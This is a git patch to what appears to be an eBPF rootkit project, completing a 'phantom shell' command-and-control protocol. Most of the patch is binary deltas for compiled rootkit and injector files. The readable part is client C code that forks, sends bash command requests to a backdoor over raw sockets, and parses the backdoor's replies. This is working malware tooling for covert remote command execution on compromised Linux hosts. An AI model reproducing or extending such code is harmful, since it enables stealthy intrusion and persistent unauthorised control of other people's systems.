From ad4f9b25045facdc5ed611d46829af25a79c2014 Mon Sep 17 00:00:00 2001 From: h3xduck Date: Wed, 11 May 2022 20:27:52 -0400 Subject: [PATCH] Completed phantom shell protocol, added new checksum correctors --- src/.output/kit.o | Bin 129704 -> 129704 bytes src/.output/kit.skel.h | 14 ++-- src/bin/kit | Bin 1624944 -> 1624944 bytes src/client/client.c | 29 +++++--- src/client/client.o | Bin 31416 -> 31680 bytes src/client/injector | Bin 64088 -> 64128 bytes src/ebpf/include/bpf/tc.c | 67 ++++++++++++++++--- src/ebpf/include/packet/protocol/ip_helper.h | 2 + src/ebpf/include/xdp/backdoor.h | 2 +- src/tc.o | Bin 44520 -> 48856 bytes 10 files changed, 89 insertions(+), 25 deletions(-) diff --git a/src/.output/kit.o b/src/.output/kit.o index 555026358b0fa2b97caec00434f3a13fbd93ee72..06ef280e5041e819f56f16ff976033d1cfb92a3c 100644 GIT binary patch delta 165 zcmZ4Sm3_rm_6-s5>)$Xi%rIbJu(V`gxB|qy9E=PnpnPE~1_q%W3=9vD_`E>=4G9nCM_Z-4ooaX%LT<|ZIt delta 165 zcmZ4Sm3_rm_6-s5>z^<%%rIbJu(V`gxB|qy42%pXpnPE~1_q%G3=9vD_`E>=4G4b3m#Z-4ooaX%LT%tjy& diff --git a/src/.output/kit.skel.h b/src/.output/kit.skel.h index 5707b7c..d719329 100644 --- a/src/.output/kit.skel.h +++ b/src/.output/kit.skel.h @@ -2526,13 +2526,13 @@ kit_bpf__create_skeleton(struct kit_bpf *obj) \0\xae\x2f\0\0\x42\x38\0\0\x05\x48\x01\0\xe8\x2f\0\0\xae\x2f\0\0\x8b\x38\0\0\ \x05\x58\x01\0\x18\x30\0\0\xae\x2f\0\0\xd8\x38\0\0\x17\x5c\x01\0\x38\x30\0\0\ \xae\x2f\0\0\xd8\x38\0\0\x15\x5c\x01\0\x50\x30\0\0\xae\x2f\0\0\x22\x39\0\0\x13\ -\x64\x01\0\x60\x30\0\0\x39\x39\0\0\x78\x39\0\0\x05\xe4\0\0\x98\x30\0\0\x39\x39\ -\0\0\xd4\x39\0\0\x0d\0\x01\0\xc8\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb0\0\0\ -\xe0\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb0\0\0\xf8\x30\0\0\x39\x39\0\0\x13\ -\x3a\0\0\x12\xb0\0\0\x10\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb0\0\0\x28\x31\0\ -\0\x39\x39\0\0\x13\x3a\0\0\x12\xb0\0\0\x40\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\ -\xb0\0\0\x58\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb0\0\0\x68\x31\0\0\x39\x39\0\ -\0\x13\x3a\0\0\x0d\xb0\0\0\x70\x31\0\0\xae\x2f\0\0\x2c\x3a\0\0\x12\x6c\x01\0\ +\x64\x01\0\x60\x30\0\0\x39\x39\0\0\x78\x39\0\0\x05\xec\0\0\x98\x30\0\0\x39\x39\ +\0\0\xd4\x39\0\0\x0d\x08\x01\0\xc8\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb8\0\0\ +\xe0\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb8\0\0\xf8\x30\0\0\x39\x39\0\0\x13\ +\x3a\0\0\x12\xb8\0\0\x10\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb8\0\0\x28\x31\0\ +\0\x39\x39\0\0\x13\x3a\0\0\x12\xb8\0\0\x40\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\ +\xb8\0\0\x58\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb8\0\0\x68\x31\0\0\x39\x39\0\ +\0\x13\x3a\0\0\x0d\xb8\0\0\x70\x31\0\0\xae\x2f\0\0\x2c\x3a\0\0\x12\x6c\x01\0\ \x80\x31\0\0\xae\x2f\0\0\x2c\x3a\0\0\x10\x6c\x01\0\x88\x31\0\0\xae\x2f\0\0\x43\ \x3a\0\0\x05\x70\x01\0\xd0\x31\0\0\x2f\x0f\0\0\0\0\0\0\0\0\0\0\xe0\x31\0\0\x2f\ \x0f\0\0\x8f\x3a\0\0\x3e\x4c\x04\0\xf0\x31\0\0\x2f\x0f\0\0\x8f\x3a\0\0\x0c\x4c\ diff --git a/src/bin/kit b/src/bin/kit index 9dec209876b196353c7df6db2e804c78215d47ad..99422a39fa950d000daca2e1148a4a7e66ce96b5 100755 GIT binary patch delta 280 zcmew`E&0Q=|}*o|V0oIcbsN=6XZJ7m3Y1% z28J013=Ec*3=CI*n3sW(;RKW~Y{kGJw1I))0TQ1V$p3-F2gwTI}mdKF((jn0Wmia^8hg~5c2^sKM)H5 Zu^ #include #include +#include #include "../common/constants.h" #include "../common/c&c.h" @@ -112,17 +113,27 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){ char* request = calloc(4096, sizeof(char)); strcpy(request, CC_PROT_BASH_COMMAND_REQUEST); strcat(request, buf); - packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request); - //printf("Sending %s\n", msg); - if(rawsocket_send(packet)<0){ - printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); + packet_t packet; + pid_t pid = fork(); + if(pid<0){ + printf("["KRED"ERROR"RESET"]""Could not fork() process\n"); return 1; } + if(pid==0){ + sleep(5); + packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request); + //printf("Sending %s\n", msg); + if(rawsocket_send(packet)<0){ + printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); + return 1; + } + exit(0); + } printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); packet = rawsocket_sniff_pattern(CC_PROT_BASELINE); char* res = packet.payload; //TODO make the shell to fork and wait for response, but accept new requests meanwhile - if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){ + if(strncmp(res, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){ //Received a response char *p; p = strtok(buf, "#"); @@ -133,10 +144,10 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){ }else{ printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n"); } - }else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){ + }else if(strncmp(res, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){ printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request); - }else if(strncmp(buf, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){ - printf("[" KGRN "INIT" RESET "]""The backdoor just signaled that everything is ready and working!"); + }else if(strncmp(res, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){ + printf("[" KGRN "WARN" RESET "]""The backdoor just signaled an ACK. This should not have happened."); }else{ //If at this point, then we failed to identify the backdoor message //We attempt to send a final message indicating we are halting the connection @@ -427,7 +438,7 @@ void phantom_shell_request(char* argv){ printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); //Wait for rootkit ACK to ensure it's up - rawsocket_sniff_pattern(CC_PROT_ACK); + rawsocket_sniff_pattern(CC_PROT_PHANTOM_SHELL_INIT); printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n"); client_mode = CLIENT_MODE_PHANTOM_SHELL; diff --git a/src/client/client.o b/src/client/client.o index 2f8da6bb8ec0a4c2a600a8c18a39f40d416e045d..90a82b50af0924f60401414716a00ce19172e17c 100644 GIT binary patch delta 7252 zcmZ{pdr(!^6~@m2M8t~% z4IXON!^(v(n`5D4p)e=NW9obi3o%S%{74MP@!0uhEG0c;lp|EiayW`f-#OYjufz_? zalo#5*ghVSN9!m>_KtBPj#1{D< z@(2&&{Km-nH%@Tkr^~&=k!#1SwT~NGCd5bk2FeB-l_iCRWi87VFEB$lmsNQx)*JW@ zzl`;T@>|QNi5o^)3tdhT>Ae_VeR%1}@iQn-7w&9E0~xJldLq+LLvXsVK4&zD(VLKv zE>dqX%42h63_)_aCgpPD!Zi2Q9 zVS2&L5Y}!MDR){$HrTXr5ZWT$t@E1u$Cxk2C7a&R=v4%@)q#INbB^#nXZ86`x`Le=YCftb!KBM|@%wn37O%QAagg|_j_w_}h1Cr{V~~Vc z%^;8#nZ)9ga8jz#OSJe}WJ>U`1ik}BVCD*I8>6$C{b6wD3bWNd z_JAi>q{f6e9hIHqSLj~SRj1R)_aKYszGtBgegCFqEp>_;SD^=Kr$$wCyChBhuSQps z<5T9yTbW01g=&WCPF@FfdBXA%mFwbH`e|rJ`WG!%UDsd9T<>=*m*3_8(y~fuhW}>q z{OSt`ebL(#{83#5BblDc^l^^9*pQQcn}Lt$yNM z=H^4sYT>P8xxAHon9f`I3DbEeuWK%iw1u}=yu4`DRy}m|RRa%%qm=M$kc8Rv!Ajq% zc+yo<)K(=y*UyDJk7e=aU9py>Hm^)(S+yEHPIG%-QnLZd*9h-TR+(?oBP~~L(sLFs zm#7-yvhW0lTo=D5Mw71ArM4~H(Ya7Ss7o{+4uQ`~xk%g~cy5 z@WY#0K{eESgtcR=y^MkVRQs?S+K`?iDp$$(;T%j@E6j^_%$HgPb<2Eh({D7Yo^k(_ z)cd1G)hDSZ%r^AAYciz_|PzEzug8V>x zkGeRY8Su+s5sQC~)k$aZ{0*m^=>Z13pC4%Mhw^-3o`t4-0p0nopcq!>33TKO_oQ(s z;gA!J#h04w9MaX6t7|qM>I;Oq1l$F}O4DLOhsjEYkp&*4A8B+c(F3xAb)NYy#~kH* z1KJ9N_YR}{!oAOQe&O~ponN@K#@iFJSGRz<#4>#n)Bo(~Ap@7}VVX34pe>XiS?dag zWxebaRjv6Q#Y}=Oq$wJ`NHk4ScM(z9?iI}Vyq0yDvaZ-Q?`u@m?3L6U0Zr?KHz(4W zm8`syRX)J?~$)(^} zGl*UWD~p8r9&{B6t4@o#Mvl86VS}*tF`AAQmE%z;M|z5=TuU;epV{?0WPS5GbZijj zw|2GLgH-#UU2TZGm~qHzZ{kaNjfb9%!aar2L`G+l?t_{yzGCIC;W%bP{YGIeV3f~) z8MGnIBPt!=!k2Q~Vmo>nO=NTztLcmSHgeo+J2o)N9go|Ntwg2c5>~UrcD%`GBBS54 zn!c!?B*#0p<9$ZCqXEGs!U~PT1RT0!G$fP=_dG_qV;t$KtDWSS2wla(dYe)1m}ff{ zvzp7$S#|Y8+wqr-a>s+Lrd*>-{*r;?i0#YpF+$6mB z8J&$;YM#Sik-kpH8D8ltD`#)op+c)H#6Y3_d{sI>Gra6 z87#}3j3+ph{TZ?uPP!j5zWC8Bp4W+Bx@=-6)tT(*&UAU97-k?Z57no|P**CvO9!EA zG#h_^S7giF{Y>ftj8>#BW8jY?157KnXEz)Q<)R&9YJfdY9Reh||^a6^n z(extdL9Y^`+cjDS6DovNMRbowYhWePZAABLbUV}`{gCJ(jqZVFq#qMKrqTV-RUy0w zh@Q~smlJVYaGcciMv6bJ>BmSvqv>=_7_FLq!ik?|oYlZdDs(~9PeW6su+9)|*Jvwr zAU#X;szxt>StYDXM6YYK9o$vI`#I5D8eLD1s@s}=jpDmCy>OD#xOEGhgB(2DUhSOK+67Ch GUH=D38cKcu delta 6711 zcmZ`;3s6+o8Q!}X6%^c6$?@WgRU~MYdMgFB0zS~XY84cf5MPTBL?zIdghSPhRZd3d%85fZhH)pz*gG|yfIdEC!%zHsvml_t%^A` z$nA2q^?oF)Cp3(k)5AaCp9|;5#g7WE2?XPds*9@Xf@@03i{ney$5#~v3hUwn<%RJz z6;-7O`oNQHwvA7&?cHxd1WM10@ie+;ME8uC)%Iqpx0kU1&ZQ6cCnMG0Ww<(HWKJ&E zSI&oP8sQ)HbAa_y0>>)CXAE$z*JFZmJP#e|!q{QYJLPQdBFhu8j>W5F`MPASqr@&5 zNmQ~_0D!^DQ%&mPLIhjQ? z9(VDU%CQ%$#lqMJ9l63hN;a}S%-%JnCr&ty+w6N9TT1K&XhGkhQWS^st#>Y6qo5n3 zr)g{>v6K*1#q_Z?MmIK`Wj&OJ(B-bS)9qNm7v2J&cE{?judP zf^z<=^tJw>v73qgJd9cdR4x@pGz9X5F%Vkt+yo2HCX_c`;?M!(*`Y7d(87@y1ZqTDHGnvBh0feg@Zcvn=%$|2| zw1dN~Jg;}E<~sm7@&>@zNBbIU;WYN30&*S|))uBDo2W9{t$7#rLK4R-(#tpin{a;J zK0gj!czzz5>>hjbg*n#a*y>rQ!nAx5nn|pzbuu0*Vv*)`fg)~Z_WUmG)a(<;eiyTk zV)}18IDC@t4V~9~RdpYR@%>b@Z>Cs(4`Y8#vsdf#hJ)w3Wbr(?JDS5K3gGslAr5Ij z9S_y4NWxW%JIOu!A=<-xq ze!*~lOZ@$1lm}Z%9K~G(t;>X2PpqtkKWfiI*D?{>!C2mzy_%+K<-RcXzt!v$DTm|C zo_8|N`8FBz-9D&RasqwL$aMJ{ONW-_!e7oj|wZMJQIb42R5$?-@e~SGB0V`ItR_ zm@*m8J2{Ktypy>O4q}zp+)XwrRw3P^U%|9h_)V;_#l)VJto5a^)3@{I3+5i-N>kkn zH&_8-#DNhI=4g6NQ8udc$M0^t9t%6oDK-&Js1`10;eC0u!_?#%@6 zYGIT?7b-ug*{JS4C2h=Y8msp8CYya(W7XF4OUe4*&{(x)w-GLTJ{=FWT2E>AYRi6C zs*Un~ ziUN_&^;W2STv+YI%05iRL*@2~=Cy&mx}=xcbGW0SG+!Xr16HxH5{Z?X^O@#G&1(mF zZINE)VU1OqCnOuX7)DdXJDJE>3s|g$49{kGC=A|6xT;94-K`D|w~D=?%gmR*Fx=F9 z4^Ulqm_1(+9{K}K#kxWEafHiSxV`1z4_*m|$R`j-Ds$iuZkWH2vtKBJQ*!?qMvC_$t$kK(8Q0e9ew{n6W(KJ9flNOp{0aw;l0o#`1`FnPvn= zJU|f*XnI1Jy%P|^Av?e$#zAEnzLpRxyE+#SRpWGMDHGN_#`1`Zn5K+)nIh)d5mz#n zN366XZegtSO_1*bIGUgvvwfMd6A)GT90p&x2%RIg2Qu;-MzPn!;17*LBOL1P2PsyD zhF25*9N|)b9v({npo7Dk<=)UyW+Tg1HYb>7F2mntxU9Ez-Gw=|08^$hTkE4kcNLt_z(vV+2VE(N+e!$I72mxfbjlleH z1T{7vnvh*Vz6}~%0H=|CoY>78yB4~UEhl!H##Vu^N|@Ee?$X$L$U*k!#5QZ})36EI zMq&?W>nn}D0!=~rf4tvp_>W)xtgy^*x~296^|L~QhO3_ynl&8XhiinXek|zJ*tZ~1BaD2g ztGQ-0LZCJ+>d*`)-q9bx{@PUcnMBA*c^GciCb`chLR?)&)LAO+ZZs6srMmMfU~gT9 z`~4KSf*=1%vCYTVC%JE?Kz@CO;ekE%neN*`xKf`HnUv;;d%*W(TI9q`=c*I}cvV~N LT-8BW?ePBt=vvqv diff --git a/src/client/injector b/src/client/injector index 700a0d5b7faae85f7457f5ef3b09fd7bde357cdb..ff7e8168b1378fa8b0ef0c29fa1c90599dcb381d 100755 GIT binary patch delta 10472 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 Ktf2jO!u}Wgy&hly delta 10448 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 